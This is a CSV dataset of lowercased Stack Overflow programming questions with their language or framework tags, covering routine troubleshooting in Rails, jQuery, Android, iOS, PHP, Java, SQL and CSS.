post,tags
issues with bundle exec rake test  i am new to rails  using michael hart s book on rails tutorial for my learning. i ve done <code>gem install bundler</code> and also <code>bundle install</code> to get all my gems specified in the <code>gemfile</code>;    but when i run <code>bundle exec rake test</code> to test my application it shows system cannot find the path specified. i ve written my test code in <code>controller_test.rb</code> with <code>require test_helper</code> included as part of the test code.    how can i fix this issue,ruby-on-rails
add a url when data is not found  chosen-select allows to display text when data is not found. is it possible to show a link to go to another page instead of the text when data is not found     <pre><code>  &lt;select  class= form-control chosen-select   multiple  name= seguro_medico[]  &gt;    &lt; php      foreach($seguro_medico as $row)   {    echo  &lt;option value=  .$row-&gt;id_sm.  &gt; .$row-&gt;title. &lt;/option&gt; ;   }    &gt;    &lt;/select&gt;     //js    $( .chosen-select ).chosen({  no_results_text:  oops  nothing found :    }) </code></pre>   how can i add a link instead of the text,jquery
how to detect ibeacon incase of multiple ibeacons available  i read some tutorials regarding <code>ibeacons</code>  <code>uuid</code>  <code>major</code> and <code>minor</code>. i got that in case of multiple <code>ibeacons</code> found  based on <code>uuid</code>  <code>major</code> and <code>minor</code> number we can handle respected one. i also read that <code>ibeacon</code> always broadcasting <code>uuid</code>  <code>major</code> and <code>minor</code> numbers.    all i need to know is how do i know these <code>uuid</code>  <code>major</code> and <code>minor</code> number to detect one <code>ibeacon</code> in my application. are these identities given along with <code>ibeacon</code>  in case i have to handle 20 <code>ibeacon</code> through my application  how to set <code>major</code> and <code>minor</code> numbers for all these <code>ibeacons</code>     kindly let me know these <code>uuid</code>  <code>major</code> and <code>minor</code> numbers of <code>ibeacons</code>.   <pre><code>self.firstregion=[[estbeaconregion alloc]initwithproximityuuid: estimote_proximity_uuid major:52415 minor:85642 identifier:@ firstbeaconregion ]; </code></pre>,ios
how to use bin2h   i m trying to use <a href= http://www.deadnode.org/sw/bin2h/  rel= nofollow >bin2h</a> to convert a font file (font.ttf) into a c file but it won t work.    can someone please tell me the syntax to save the output to a text file     i ve been trying to figure this out but nothing is working  and it s driving me insane. i m really frustrated because i know the tool is working (i got it to work like a year ago) but i can t remember how i used it.    the example syntax on that site doesn t really help...    please    thanks to lightness races in orbit s comment below i finally got the syntax right!    bin2h -cz font &lt; font.ttf > output.h    that s working  thanks,c
angular js - using filter in select  not returning the correct set  i m trying to filter a selection list:   <pre><code>&lt;div ng-controller= ctrl &gt; &lt;select ng-model= targettomap  required= true   ng-options= code.instructions_short for code in targetcodes   |filter:targetcodes.environment=2      &gt;&lt;/select&gt; &lt;div&gt; var app = angular.module( app   []);  function ctrl($scope) {   $scope.targetcodes = [ { fid : 1   environment : 1   instructions_short : script1.1 }  { fid : 2   environment : 1   instructions_short : script1.2 }  { fid : 3   environment : 1   instructions_short : script1.3 }  { fid : 4   environment : 1   instructions_short : script1.4 }  { fid : 5   environment : 2   instructions_short : script2.1 }  { fid : 6   environment : 2   instructions_short : script2.2 }  { fid : 7   environment : 2   instructions_short : script2.3 }  { fid : 8   environment : 2   instructions_short : script2.4 } ]; } </code></pre>   for some reason the filter appears to applying to both fid and environment  so it returns a list including fid=2 as well as the 4 records where environment=2.  i put the filter inline to simplify the code.  what s wrong with this picture     a jsfiddle can be found here: <a href= http://jsfiddle.net/bobnoel/ktyjg/3/  rel= nofollow >jsfiddle</a>,angularjs
getcookie using javascript <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3404723/how-to-setcookie-and-getcookie-using-domain-name >how to setcookie and getcookie using domain name</a>    </blockquote>     when i getcookie using javascript  that will get for the current url.     i want to getcookie by passing domain name  how to get it,javascript
utilizing $( selector ).each to set different variables on each submit  <a href= http://jsfiddle.net/ewill3532/qtyec/11/  rel= nofollow >http://jsfiddle.net/ewill3532/qtyec/11/</a>    i need help with implementing this:   <pre><code>$( selector ).each(); </code></pre>   i m trying to get this script to set the value of each input to a unique variable each time a submit button is clicked. you ll see that right now  on each submit  the value for the previous question gets alerted - which is what i would be setting as the variable which would be unique to each question.    any help here is greatly appreciated!,jquery
not able to sort array of strings taken as input from user  i am trying to obtain the array of strings from user and then trying to sort it alphabetically.but it is not responding after giving output for line given below :-    system.out.println( array is +arrays.tostring(arr));    below is the code used for this:-   <pre><code>package practice1;  import java.util.arraylist; import java.util.arrays; import java.util.list; import java.util.scanner;  public class remdup {      public static void main(string[] args) {         try{         //obtaining array from user and sorting it         list&lt;string&gt; list=new arraylist&lt;&gt;();         scanner in=new scanner(system.in);         do {             system.out.println( current list is +list);             system.out.println( add more(y/n) );             if (in.next().startswith( y )) {                 system.out.println( enter: );                 list.add(in.next());             }else{break;              }         } while (true);         system.out.println( list is  +list);         string[] arr=list.toarray(new string[0]);         system.out.println( array is +arrays.tostring(arr));         string str=arr.tostring();         string[] strarr=str.split(   );         for(int i=0;i&lt;arr.length;i++)         {             for (int j = i+1; j &lt; arr.length; j++) {                 if (strarr[i].compareto(strarr[j])&gt;0) {                     string temp=strarr[i];                     strarr[i]=strarr[j];                     strarr[j]=temp;                 }             }         }         for(string ss:strarr){             system.out.println(ss);         }         }         catch(exception e){             e.tostring();         }     }  } </code></pre>   please help,java
mysql joining not getting desired results  below is my query basically there there is a studentsection table which contains student course info  this table has everything i need besides the course description. this is contained in the course table. for some reason i can t seem to just get just the entries from the studentsection table  every query i try gets everything from the course table. any help is much appreciated!   <pre><code>select distinct studentid                 s.deptnum                 s.coursenum                 coursedesc                 sectionnum                 quarter                 grade             from studentsection c            left             join course c              on s.deptnum = c.deptnum            where exists( select deptnum from course)            order               by studentid                 quarter                 grade; </code></pre>   here are my table definitions:   <pre><code>create table studentsection(     studentid int      deptnum char(4)      coursenum char(3)      sectionnum char(2)      quarter char(3)      grade varchar(1)      constraint studentsection_pk primary key(studentid  deptnum  coursenum  sectionnum  quarter)      constraint studentsection_section_fk foreign key (deptnum  coursenum  sectionnum  quarter) references section(deptnum  coursenum  sectionnum  quarter) )  create table course (     deptnum    char(4)      coursenum  char(3)      coursedesc varchar(50) not null      credithrs integer      constraint course_pk primary key (deptnum  coursenum)      constraint course_department_fk foreign key (deptnum) references department(deptnum))  create table section (     deptnum     char(4)      coursenum   char(3)      sectionnum  char(2)      quarter     char(3)      instructor  varchar(20)      constraint section_pk primary key (deptnum  coursenum  sectionnum  quarter)      constraint section_course_fk foreign key (deptnum  coursenum) references course(deptnum  coursenum)); </code></pre>,mysql
can html select tag work with hidden text input   i am not sure if select tag can work with hidden text input like this:   <pre><code>&lt;select name= testing &gt;     &lt;option value= 1 &gt; one &lt;/option&gt;    &lt;input type= hidden  value= hello  name= testing &gt;   &lt;option value= 2 &gt; two &lt;/option&gt;   &lt;input type= hidden  value= world  name= testing &gt;    &lt;/select&gt; </code></pre>   any ideas,html
incompatible types found  i am working on a project and i am getting stuck on what i think is the final part. i have one class: volt  which involves the following segment of code:    <pre><code> public volt scalebyfactor(double scalar) {      public point getstart() {         return start;     }      public point getend() {         return end;     }      double tempx = (end.getx() - start.getx()) * scalar + start.getx();     double tempy = (end.gety() - start.gety()) * scalar + start.gety();       //there is another class: public point(double x  double y)     point s = new point(tempx  tempy);     volt sls = new volt(start  s);     return sls; </code></pre>   and another class: sweep  with the following segment of code:   <pre><code>    point p1 = new point(x1  y1);     point p2 = new point(x2  y2);     volt ls = new volt(p1  p2);     point newpoint = ls.scalebyfactor(scalar); </code></pre>   what is happening is: when i compile i get told:  incompatible types found   : volt required: point    now i understand that means i need to use the type point instead of the type volt but i do not know just how it is done,java
how to set value to a property in a javascript object  which is identified by an array of keys  if there is a javascript object with multiple levels  as in:   <pre><code>   myobject = {          a: 12          obj11: {                 obj111:  john                   b:13                  obj1111: { a:15                             b: 35 }         obj21: {                  a:15                  b:16 }          } </code></pre>   i want to write a function to which is passed the object  an array of keys and the value to be assigned to the matched property.      <pre><code> function myfunc (myobj myarr  newvalue) {    ...   }   myfunc(myobject  [ obj11    obj1111 ]  {z:12});   console.log(myobject.obj11.obj1111); </code></pre>   should display {z:12}.  assume that the keys in the array are always correct.,javascript
listing different images along with text in android   ..i want to list different images..so,android
soundpool not working  i m doing a simple game and since i need some short sound effects  i thought the soundpool would be appropriate. but it s not working! i don t get any sounds! i have checked my code over and over again and also compared it with several other examples  but still not working! i m confused and need some help to get it to work.    here is my code. have i missed something or could i do it in another way  preciated some help! thanks!   <pre><code>soundpool = new soundpool(4 audiomanager.stream_music  0); soundpoolmap = new hashmap&lt;integer  integer&gt;();  soundpoolmap.put(0  soundpool.load(this  r.raw.bonk2  1)); soundpool.play(0  1f  1f  1  0  1f);  soundpool.release(); </code></pre>,android
pdf report not showing in internet explorer  in my project after saving the data into db it will show report (pdf ) in a new page.it working fine on all browsers expect ie .it will show like below pic <img src= https://i.stack.imgur.com/elku8.png  alt= enter image description here >   <h2>code</h2>  <pre><code> private string createle_anez()     {         try         {              reportdocument orpt = new reportdocument();             orpt.load(system.web.httpcontext.current.server.mappath( reports/le-einzel.rpt ));             reportdocument subreportartikel = new reportdocument();             subreportobject subreportobjectartikel;             subreportobjectartikel = orpt.reportdefinition.reportobjects[ subreport1 ] as subreportobject;             subreportartikel = subreportobjectartikel.opensubreport( le-artikel-subrepoert.rpt );             ctemplate objtemp = new ctemplate();             datatable dttemplate = objtemp.selectletemplate( anez );             orpt.setdatasource(dttemplate);              datatable dtartikeldata = selectleartikel();             subreportartikel.setdatasource(dtartikeldata);             #region set parameter values             //aaddressen objcust = new aaddressen();             //objcust=new caddressen().selectaddressen(addressenid);             cusers objuser = new cusers();             objuser.userid = userid;             ausers objauser = objuser.selectuserprofile();             cland objland = new cland();             objland.id = objauser.land;             objland.selectlandbyid();             objauser.landname = objland.lnd_name;             cutilities objutil=new cutilities();                             string strdate = ledate.day.tostring() +  .  + ledate.month.tostring() +  .  + ledate.year.tostring();             string strlands = selectleland();              /* requirement no ::  18895       ::: commented by jyotheena jose      :1/30/2014 11:21:17 am                string strsender = objauser.ort +   :   + strdate +       +     + objauser.firmaname +      + objauser.plz +    + objauser.street +       + objauser.firstname +     + objauser.lastname;*/             string strsender = objauser.ort +   :   + strdate +       + objauser.firmaname +      + objauser.street +      + objauser.plz +     + objauser.ort +       + objauser.firstname +     + objauser.lastname +       + objauser.position;             string strledate = ledate.tostring( yyyymmdd ) +  - ;             string strcum =   ;             string strnocum =   ;             if (iscumulation ==  t )                 strcum =  x ;             else                 strnocum = x ;              switch (lenumber.trim().length)             {                 case 1: strledate +=  00  + lenumber;                     break;                 case 2: strledate +=  0  + lenumber;                     break;                 default: strledate += lenumber;                     break;             }             parameterdiscretevalue pdescvalue;             parameterfielddefinitions pfieldddefs;             parameterfielddefinition pfieldloc = null;             parametervalues pvalues = new parametervalues();             pfieldddefs = orpt.datadefinition.parameterfields;             pdescvalue = new parameterdiscretevalue();             createparameterfields(pdescvalue  pfieldddefs  pfieldloc  pvalues   plandlist   strlands);             createparameterfields(pdescvalue  pfieldddefs  pfieldloc  pvalues   psender   strsender);             createparameterfields(pdescvalue  pfieldddefs  pfieldloc  pvalues   pledate   strledate);             createparameterfields(pdescvalue  pfieldddefs  pfieldloc  pvalues   pbemerkungen   bemerk);             createparameterfields(pdescvalue  pfieldddefs  pfieldloc  pvalues   pcum   strcum);             createparameterfields(pdescvalue  pfieldddefs  pfieldloc  pvalues   pnocum   strnocum);             createparameterfields(pdescvalue  pfieldddefs  pfieldloc  pvalues   pcumtext   cumulation);             #endregion              string strfilename =  pdf/  + userid.tostring().trim() +  einzel.pdf ;                 if (!directory.exists(system.web.httpcontext.current.server.mappath( pdf )))                 directory.createdirectory(system.web.httpcontext.current.server.mappath( pdf ));             if (file.exists(system.web.httpcontext.current.server.mappath(strfilename)))                 file.delete(system.web.httpcontext.current.server.mappath(strfilename));             orpt.exporttodisk(crystaldecisions.shared.exportformattype.portabledocformat  system.web.httpcontext.current.server.mappath(strfilename));             return strfilename;         }         catch (exception ex)         {             throw new exception( cle-&gt;createle_anez   ex);         }     } </code></pre>   after in new page (viewpdf1.aspx)   <pre><code>rotected void page_load(object sender  eventargs e)     {         if (!ispostback)         {             if (session[ rpt ] == null)                 return;             else             {                 string strvalues = session[ rpt ].tostring();                 string[] strdata = strvalues.split(   );                 //session.remove( rpt );                 //viewstate[ rpt ] = strdata[1].trim();                 //viewstate[ leno ] = strdata[0].trim();                 //string strurl = viewstate[ rpt ].tostring();                 string strurl = strdata[1].trim();                 dvpdfloader.innerhtml =  &lt;object data=   + strurl +    type= application/pdf   width= 100%  height= 468px &gt;&lt;/object&gt; ;                 string strquery = request.querystring[ s ];                 if (strquery != null &amp;&amp; cutilities.decrypt(strquery.trim()) ==  mailsent )                 {                     lblmessage.text =  e-mail erfolgreich gesendet ;                 }             }         }     } </code></pre>   please help to solve this error..    regards jithesh,asp.net
border ignores an element  ok so i have text inside a border that s inside a bigger border. the text inside the border is in a row of 2 but the problem is the larger border doesn t go around them. here s a picture.<img src= https://i.stack.imgur.com/cmxpk.png  alt= enter image description here >    the problem i m pretty sure is either the width or the float of the inside border which makes it a row. here is the css:   <pre><code>.fifty {   width: 45%;   float: left; } </code></pre>   here is the css for the actual border:   <pre><code>.newspaper3 { border-top: 3px solid #eeeeee; border-bottom: 1px solid #eeeeee; border-left: 1px solid #eeeeee; border-right: 1px solid #eeeeee; padding: 5px; margin-right: 3px; } </code></pre>   here s part of the the html:   <pre><code>&lt;div class= count &gt; &lt;div class= fifty &gt; &lt;div class= newspaper3 &gt; text &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   here s all the html and css <a href= http://jsfiddle.net/elsav/  rel= nofollow noreferrer >http://jsfiddle.net/elsav/</a><br> thanks for the help!,css
update_attribute not working in rails 4  i have code in model level to update attribute to teacherpayslip.    teacherpayslip.rb (model)   <pre><code>def net_salary        @teacher_id = self.id     @da  =  (self.basic * self.da)/100      @hra = (self.basic * self.hra)/100      @gs  = @da + @hra + self.basic     @pf =  (@gs * self.pf)/100     @netsalary = @gs - @pf + self.special_allowance + self.bonus      @a = teacherpayslip.find(@teacher_id)     #raise @a.inspect      raise @a.update_attribute( net_salary  @netsalary).inspect    end </code></pre>   here  when i raise @netsalary shows like 9789. but after updating(@a.update_attribute( net_salary  @netsalary) net_salary shows true value. instead of 9789.,ruby-on-rails
how do i reference an array as a whole - php  array_unique is to be used by passing the array name as a parameter.    but as far as all the online examples researched go  it shows the arrays first being assigned to a single variable at the time they are instantiated  like so:   <pre><code>$var1 = $array[ val1    val2    val3 ] </code></pre>   the only problem is  i am assigning the values of my array 1 at a time via a loop  so i dont know how to assign my array as a whole to a variable.    so how can i represent the entire array to either put in a variable or pass as a parameter for array_unique directly  without having to reference the specific array values     edit: added the loop where array values are instantiated  as requested.   <pre><code>$productsqueryresult = mysql_query($productsquery);         while ($row = mysql_fetch_row($productsqueryresult))             {                 $array[$i] = $row[0];                 $i++;             } </code></pre>,php
social media website refresh issue  okay  so i m in the process of making a social network website like facebook. (not so that i can try to create the next facebook  but so i can learn how to do it) overall its coming good  but i have a few issues. my basic layout is that i have a postframe.php with loops through all the posts that are in the database. and on the posts.php page  i load postframe.php dynamically with the jquery .load() function. i also refresh the table with the settimeout function. it refreshes every five seconds. so my posts are loaded on my posts.php page dynamically and refreshed every five seconds. in my posts frame  at the bottom of each post  there is a place where you can comment on that post. (just like facebook) the only problem is when typing into the comment box  it still refreshes and after five seconds it removes everything that was in the textarea comment field.     now  facebook loads any new posts and comments automatically  and your comment doesn t get erased every few seconds. how are they loading new stuff and yet not refreshing the textareas in the posts  my guess is that they don t use .load()  but they use something else that i don t know about. if anyone knows this any help is greatly appreciated! thanks!,php
nullcheck multi level object  i v been playing around with some shorter hand ways of checking multiple nested objects to see if any are null before proceeding. i m trying to replace the multiple nested if statements into a single statement if possible using null-conditional operators.    so far i have something like this:    <pre><code>if ((object1 .object2 .object3 .object4 != null)   true : false) { ... } </code></pre>   would the above be effective at identifying if either object1 2 3 or 4 is null and return a false if so  i m interested to hear if anyone has any better solutions     tia,c#
check if a stdclass object has  entries  in php  i have a model that checks for entries en a database. like this:   <pre><code>public function getbyid($id) {     if(false == is_numeric($id))         return false;      $images = array();      $query = $this-&gt;db-&gt;where( id_album   $id)-&gt;order_by( order    asc )-&gt;get( images );      foreach($query-&gt;result() as $row)         $images[] = $row;      return (object) $images; } </code></pre>   in my view i want to know if i have a rows or not  to show the images or not. i do this:   <pre><code>&lt; php if(false != isset($content-&gt;images)):  &gt;     &lt;pre&gt;&lt; php print_r($content-&gt;images);  &gt;&lt;/pre&gt; &lt; php endif;  &gt; </code></pre>   but every time i try to skip when i ve no results (i get a stdclass() empty) i fail. i tried <code>isset</code>  <code>$content-&gt;images != null</code>  <code>!$content-&gt;images</code>... i don t know how to do it to skip the  severity: notice message: undefined variable .    thank you in advance.    update:    <code>$content</code> has more sets than images  like <code>$content-&gt;_data</code> or <code>$content-&gt;title</code>.    when i ve no images on database and i ve no return from mysql  doing this:   <pre><code>&lt; php echo count($content-&gt;images);  &gt; &lt;pre&gt;&lt; php print_r($content-&gt;images);  &gt;&lt;/pre&gt; </code></pre>   the output is:   <pre><code>1 stdclass ( ) </code></pre>,php
implications in calling a .net exe s main() function  in .net  exes are assemblies and can be referenced just like dlls.  this means that any of their types can be used from any other program given they re defined as <code>public</code>.  what are the implications in calling another exe s <code>main</code> function from your code   obviously the thread that <code>main</code> is called in would be blocked until the program terminated  unlike spawning a new process.  what other potential issues would this have,.net
match multiple columns with same value sql  suppose the table has columns like <code>akey1</code>   <code>bkey2</code>   <code>ckey3</code> and many more like it.<br> is there way to search for a common value    <code>select * from table where %key% like  xyz </code>     other than using multiple and   or conditions . doesn t matter if solution is dbms specific .,sql
getting a specific object from a group of object in angularjs  in a gridlist i want to get only specific objects in an array.here is my code.   <pre><code>$scope.incincobj = []; $scope.gridlist = {}; $scope.gridlist.incincobj = studyvalue.incluexclucriteria; console.log(studyvalue.incluexclucriteria); </code></pre>   in c# the datas are like this    <pre><code>var incluexclucriteria = (from ie in _context.incl_excl_criteria                                       where ie.study_id == request.study_id                                       select new                                       {                                           ie.incl_excl_id                                            ie.study_id                                            ie.criteria_type                                            ie.criteria                                       }).tolist(); </code></pre>   in the console i am getting all the list such as    <pre><code>[object { incl_excl_id=2992  study_id=350  criteria_type= i   more...}   object { incl_excl_id=2993  study_id=350  criteria_type= e   more...}  object { incl_excl_id=2994  study_id=350  criteria_type= i   more...}  object { incl_excl_id=2995  study_id=350  criteria_type= e   more...}   object { incl_excl_id=2996  study_id=350  criteria_type= i   more...}  object { incl_excl_id=2997  study_id=350  criteria_type= i   more...}   object { incl_excl_id=2998  study_id=350  criteria_type= e   more...}   object { incl_excl_id=2999  study_id=350  criteria_type= e   more...}] </code></pre>   but i want to get only the object which has criteria_type= i  like this    <pre><code>[object { incl_excl_id=2992  study_id=350  criteria_type= i   more...}   object { incl_excl_id=2994  study_id=350  criteria_type= i   more...}   object { incl_excl_id=2996  study_id=350  criteria_type= i   more...}  object { incl_excl_id=2997  study_id=350  criteria_type= i   more...}] </code></pre>   give me any suggestion,angularjs
how to hide fieldset using css  i am trying to hide one fieldset using css. there are other fieldsets using same css class  and i don t want to hide them.     this is how the specific filedset looks like;   <pre><code>&lt;fieldset class= span6 &gt;                 &lt;legend&gt;search by user name&lt;/legend&gt;                 &lt;label&gt;                     user name:                     &lt;input id= kusersearch  data-provide= typeahead  name= searchuser  autocomplete= off  value=   type= text &gt;                 &lt;/label&gt;                  &lt;label&gt;                     exact name:                     &lt;input name= exactname  value= 1  type= checkbox &gt;                 &lt;/label&gt; &lt;/fieldset&gt; </code></pre>,css
chrome - console warning about wrong mime type  i am writing a page which contains only a canvas in it s body and a simple javascript code.    in the javascript  i am creating an <code>image</code>  but it s never appended to the page  instead  it runs through a <a href= https://developer.mozilla.org/en-us/docs/web/api/window.settimeout  rel= nofollow ><code>timeout</code></a> loop loading a url  which sometimes may return an actual image with mime type set to <code>image/jpeg</code>  or other times may return the text <code>noimage</code> with mime type <code>text/plain</code>.    when the url returns an image  the <code>image</code> runs its <a href= https://developer.mozilla.org/en-us/docs/mozilla/tech/xul/attribute/onload  rel= nofollow ><code>onload</code></a> function  which will draw itself to the canvas in the page and decrease the loop s timeout interval.    when the url returns a text  the <code>image</code> runs its <a href= https://developer.mozilla.org/en-us/docs/mozilla/tech/xul/attribute/onerror  rel= nofollow ><code>onerror</code></a> function  which will simply increase the loop s timeout interval  not drawing it in the canvas.    this logic works very well  but it always throw this warning in the console when the browser try to set the <code>image</code> as the text  which which increasingly consumes memory:   <pre><code>resource interpreted as image but transferred with mime type text/plain:  http://localhost:6969/image.cgi .  </code></pre>   how can i avoid this warning to be print over and over to the console     edit: added sample working code.   <pre><code>&lt;doctype html&gt; &lt;html&gt;     &lt;head&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;canvas id= mycanvas  width= 640  height= 480 &gt;&lt;/canvas&gt;     &lt;/body&gt;     &lt;script defer type= application/javascript &gt;             var canvas = document.getelementbyid( mycanvas );             var image = new image();              var timeout = 100;              var timer = function() {                 settimeout(function() {                     image.src =  http://localhost:6969/image.cgi timestamp=  + new date().gettime();                 }  timeout);             };              image.onload = function() {                 console.log( success );         var ctx = canvas.getcontext( 2d );          ctx.save();         ctx.settransform(1  0  0  1  0  0);         ctx.clearrect(0  0  canvas.width  canvas.height);         ctx.restore();         ctx.beginpath();          ctx.drawimage(image  0  0  parseint(this.width)  parseint(this.height));          if (timeout &gt; 50) {             timeout = timeout - 9;         }          timer();             };              image.onerror = function() {             console.log( error );                 if (timeout &lt; 5000) {                     timeout = timeout + 14;                 }                  timer();             };              timer();         &lt;/script&gt; &lt;/html&gt; </code></pre>,javascript
class design in .net  i m in the design phase of a small project.i ve an <strong>activity</strong> class and <strong>resource</strong> class.<br> each activity can have multiple resources  so my question is should i create a collection of resources like <code>ilist&lt;resource&gt;</code> and add it to <code>activity</code> class or should i create some service class whose purpose is to assign resources to each activity    regards  ravi,.net
what is wrong with my serialization mechanism   this is the code which works fine on mac os (jdk 1.6):   <pre><code>string s1 =  test ; bytearrayinputstream in = new bytearrayinputstream(s.getbytes()); string s2 = (string)(new objectinputstream(in).readobject()); </code></pre>   on linux centos 5.4 java says:   <pre><code>java.io.streamcorruptedexception: invalid stream header: 3f3f0005 at java.io.objectinputstream.readstreamheader(objectinputstream.java:783) at java.io.objectinputstream.&lt;init&gt;(objectinputstream.java:280) at com.xxx.serializabletest.testworks(serializabletest.java:26) [...] </code></pre>   what is it about,java
jquery: how do i add a class to an element that has been inserted into the dom via ajax  my page makes an ajax call and creates some markup on the page from the results. how do i then add a class to one of these elements. for example:   <pre><code>&lt;div id= hiddenresult &gt;     &lt;div class= page &gt;         &lt;p&gt;&lt;a id= 23 &gt;some link&lt;/a&gt;&lt;/p&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   this markup has been inserted by javascript so when i do:   <pre><code>$( #hiddenresult a#23 ).addclass( myclass ); </code></pre>   it does nothing.    i want to be able to add a class to the anchor when i click a link on my page. something like this:   <pre><code>$( #button ).click(function() {     $( #hiddenresult a#23 ).addclass( myclass ); }); </code></pre>,jquery
pressing home button calls ondestroy on parent  i have three activities <code>main</code>  <code>item</code>  and <code>itemdetail</code>    <code>item</code> has <code>main</code> set to parent in manifest   <pre><code>&lt;activity    android:name= .activities.item    android:parentactivityname= .activities.main  /&gt; </code></pre>   <code>itemdetail</code> has <code>item</code> set to parent in manifest   <pre><code>&lt;activity    android:name= .activities.itemdetail    android:parentactivityname= .activities.item  /&gt; </code></pre>   here is what the activity flow should look like visually    <pre><code>main &gt; item &gt; itemdetail  </code></pre>   both <code>item</code> and <code>itemdetail</code> extend from <code>baseactivity</code>   <pre><code>public class item extends baseactivity { ... } public class itemdetail extends baseactivity { ... } </code></pre>   <code>baseactivity</code> displays and enables home button   <pre><code> getsupportactionbar().sethomebuttonenabled(true);  getsupportactionbar().setdisplayhomeasupenabled(true); </code></pre>   now here is the problem: when pressing <strong>back</strong> button from <code>itemdetail</code> activity  <code>item</code> is brought to the foreground which is the expected behavior  right  however  when <strong>home</strong> button is pressed from <code>itemdetail</code> activity  <code>item</code> activity s <code>ondestroy</code> and <code>oncreate</code> are called  indicating (obviously) that <code>item</code> activity is being destroyed before being recreated.     my question is why is <code>item</code> activity destroyed and when pressing home button from <code>itemdetail</code> but not back button. this makes no sense to me.     <strong>tl;dr</strong>    my app is crashing when pressing home because i expected <code>item</code> to remain on the activity stack and maintain state  but activity is unexpectedly destroyed resulting in a null pointer error.     <strong>edit</strong>    yes  i have onsavedinstance state implemented and working  it s just that the saved states is gone  calling this line from <code>item</code> activity s <code>oncreate</code> returns true    <pre><code>null == savedinstancestate; // returns true </code></pre>,android
parsed json data not being printed to the console  i have written a simple code that takes specific data from a news api and prints it to the console.   <pre><code>override func viewdidload() {     super.viewdidload()     // do any additional setup after loading the view  typically from a nib.      let url = url(string:  https://newsapi.org/v1/articles source=bbc-news&amp;sortby=top&amp;apikey=af5f94cdf07e42ee877a3f2c2199d097 )      let task = urlsession.shared.datatask(with: url!) {(data  response  error) in         if error != nil {             print( error )         }         else {             if let content = data {                 do {                     let myjson = try jsonserialization.jsonobject(with: content  options: jsonserialization.readingoptions.mutablecontainers) as anyobject                     if let articles = myjson[ articles ] as  nsdictionary {                         if let title = articles[ title ] {                             print(title)                         }                     }                 }                 catch {}             }         }     }     task.resume() }  override func didreceivememorywarning() {     super.didreceivememorywarning()     // dispose of any resources that can be recreated. } </code></pre>   however  strangely  this returns no errors and doesn t print the desired  title  to the console either. why is this,ios
change in android app to use adsense in exsisting app that using admob  i am using admob in my android app.should i need to change in my code to receive ads from google adsense,android
encode a list in ascii in python  i would like to encode a list in ascii.    my list:   <pre><code>data = {u ismaster : true  u maxwritebatchsize : 1000  u ok : 1.0  u maxwireversion : 3  u minwireversion : 0} </code></pre>   my goal:   <pre><code>data = { ismaster : true   maxwritebatchsize : 1000   ok : 1.0   maxwireversion : 3   minwireversion : 0} </code></pre>   currently i do this:   <pre><code>&gt;&gt;&gt;data_encode = [x.encode( ascii ) for x in data] &gt;&gt;&gt;print(data_encode) [ maxwireversion    ismaster    maxwritebatchsize    ok    minwireversion ] </code></pre>   see <a href= http://www.kennethreitz.org/essays/convert-a-list-of-strings-to-utf-8-in-python  rel= nofollow >website to convert a list of strings</a>    i lost some values with this method.,python
possible to store coredata objects to the app itself  and not on the device   i use coredata in my app  and i thought the objects i have uploaded gets saved to the app itself  and not just the device. i stored all my objects on the iphone 5s simulator on xcode  and those objects gets retrieved successfully when i use that simulator. but if i switch simulator or use my own device  it says i have 0 objects.     is there any work arounds here  or do i have to make every user upload the necessary objects  themselves       this is my code for retrieving my objects:   <pre><code> //1         let appdelegate =         uiapplication.sharedapplication().delegate as! appdelegate          let managedcontext = appdelegate.managedobjectcontext          //2         let fetchrequest = nsfetchrequest(entityname:  persons )          //3         do {             let results =             try managedcontext.executefetchrequest(fetchrequest)             gamedata.data.people = results as! [nsmanagedobject]            } catch let error as nserror {             print( could not fetch \(error)  \(error.userinfo) )         } </code></pre>,ios
posting to a file using curl... not taking variables  posting to a file using curl    i m trying to post to a file as soon as user enters a website assuming they have clicked from an ad.    example url = <code>http://myfabsite.com/ tr=213</code>    this is what i m trying but its not capturing the <code>tr</code> url variable or the referrer:   <pre><code>if($_get[ tr ]){     $ch = curl_init();     curl_setopt($ch  curlopt_url   http://myfabsite.com/actions/tracksads.php );     curl_setopt($ch  curlopt_returntransfer  1);     curl_setopt($ch  curlopt_post  true);      $data = array(          referrer  =&gt; $_server[ http_referer ]           track_code  =&gt; $_get[ tr ]     );      curl_setopt($ch  curlopt_postfields  $data);     $output = curl_exec($ch);     $info = curl_getinfo($ch);     curl_close($ch);     } </code></pre>   trackads.php:   <pre><code>$mysqli = dbconnect();  $referrer = $mysqli-&gt;real_escape_string(urldecode(trim($_request[ referrer ]))); $track_code = $mysqli-&gt;real_escape_string($_request[ track_code ]);  $query =  insert into ad_tracking ( tracking_code  referrer ) values (  $track_code    $referrer  ) ;   $result = $mysqli-&gt;query($query); </code></pre>   anything obvious     <strong>update</strong>    this is from <code>print_r($data);</code>   <pre><code>array ( [referrer] =&gt; none [track_code] =&gt; fb1 ) </code></pre>   this is $query from trackads.php   <pre><code>insert into ad_tracking ( tracking_code  referrer ) values (        ) </code></pre>   so  the array is not being passed  either at all or correctly  to trackads.php,php
undefined method title in rails application  i have been attempting to make a pretty simple blog application (thought it would be a fun starting point in ruby on rails) and have come into an issue while trying to create a new post. the error i get when loading it on my server is nomethoderror in posts#show and says the method title is not defined in the show.html.erb file     this is my new.html.rb   <pre><code>&lt;%= form_for @post do |f| %&gt;     &lt;%= f.label :title %&gt;&lt;br&gt;     &lt;%= f.text_field :title %&gt;&lt;br&gt;     &lt;br&gt;     &lt;%= f.label :body %&gt;&lt;br&gt;     &lt;%= f.text_area :body %&gt;&lt;br&gt;     &lt;br&gt;     &lt;%= f.submit %&gt; &lt;% end %&gt; </code></pre>   my post_controller.rb   <pre><code>  class postscontroller &lt; applicationcontroller   def index   end    def new      @post = post.new   end   def create     @post =post.new(post_params)      if @post.save       redirect_to @post     else       render  new      end   end     private    def post_params     params.require(:post).permit(:title  :body)   end    def show      @post = post.find(params[:id])   end  end </code></pre>   my show.html.erb   <pre><code>&lt;h1&gt;&lt;%= @post.title %&gt;&lt;/h1&gt;  &lt;div&gt;&lt;%= @post.body %&gt;&lt;/div&gt; </code></pre>   and my routes.rb   <pre><code>rails.application.routes.draw do   resources :posts end </code></pre>,ruby-on-rails
iphone image caching  i want to save images fetched from a url into the nstempdirectory(). if i store more than 100 images the application gets slow and sometimes quits.  how many images can be stored in nstempdirectory()   would deleting the files continuously after it reaches 50 or more images be a good solution   is there any other alternative to store images without affecting the application performance,iphone
